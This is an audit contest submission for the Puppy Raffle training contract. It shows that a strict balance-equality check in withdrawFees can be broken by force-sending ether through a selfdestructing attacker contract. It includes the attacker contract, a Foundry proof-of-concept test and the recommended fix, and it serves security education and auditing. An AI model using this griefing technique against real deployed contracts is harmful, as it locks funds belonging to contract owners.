First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

(H-2) Using strict equality can cause accumulated fees to be forever stuck in the contract

zxarcs

Summary

Using strict equality in withdrawFees function can cause accumulated fees to be forever stuck in the contract.

Details

The require function in withdrawFees uses a strict equality check:

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

This check can be made to always fail by sending a small amount of ether directly to the smart contract address. This will make address(this).balance part of the check be greater than the uint256(totalFees) part of the check.

Even though the raffle contract only has one payable function which also has a hard requirement on funds that can be sent, there are other ways funds can be sent to the contract.

This exploit uses the selfdestruct function of a malicious contract. This contract receives funds from the attacker and then calls selfdestruct and provides puppyRaffle contract as the recipient of the ether.

This tiny amount of extra funds will cause address(this).balance of puppyRaffle contract to be greater than its uint256(totalFees) amount and therefore the check below will always fail and funds will be locked.
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

Filename

src/PuppyRaffle.sol

Permalinks

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/07399f4d02520a2abf6f462c024842e495ca82e4/src/PuppyRaffle.sol#L158

Impact

Fee funds can not be withdrawn from the smart contract.

Recommendations

Do not use strict equality, instead use an inequality.

- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");

Tools Used

  • Manual Audit

  • Foundry

POC

Create a new attacker contract below.

Note: this is just a POC contract. It is beyond scope of this POC to ensure this attack contract is written securely and that funds are handled correctly once the contract has them.

// SPDX-License-Identifer: MIT
pragma solidity ^0.7.6;
​
contract Destructible {
receive() external payable {}
​
function forceSendEthToContract(address payable fundsTo) external {
selfdestruct(fundsTo);
}
}

And the test function.

Note: this test function is to be added to the existing test suite as it needs already existing components from there.

import {Destructible} from "../src/Destructible.sol";
// ...
function testWithdrawFeesCanGetLocked() public playersEntered {
// move blockchain forward so that the raffle can complete
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
// set up the attacker
address attacker = address(101);
vm.deal(attacker, 1 ether);
​
vm.startPrank(attacker);
console.log("puppyRaffle balance before", address(puppyRaffle).balance);
// send ether to attacking contract and then destroy that contract
// this will send funds to the raffle contract, bypassing the check
// on its only payable function
Destructible destructible = new Destructible();
address(destructible).call{value: 0.00001 ether}("");
destructible.forceSendEthToContract(payable(address(puppyRaffle)));
// raffle contract now has more funds than the `totalFees` state variable thinks
console.log("puppyRaffle balance after", address(puppyRaffle).balance);
vm.stopPrank();
​
uint256 expectedPrizeAmount = ((entranceFee * 4) * 20) / 100;
// end raffle
puppyRaffle.selectWinner();
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
// project owners can never withdraw their funds because if the hard equality
// on address(this).balance == uint256(totalFees)
puppyRaffle.withdrawFees();
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.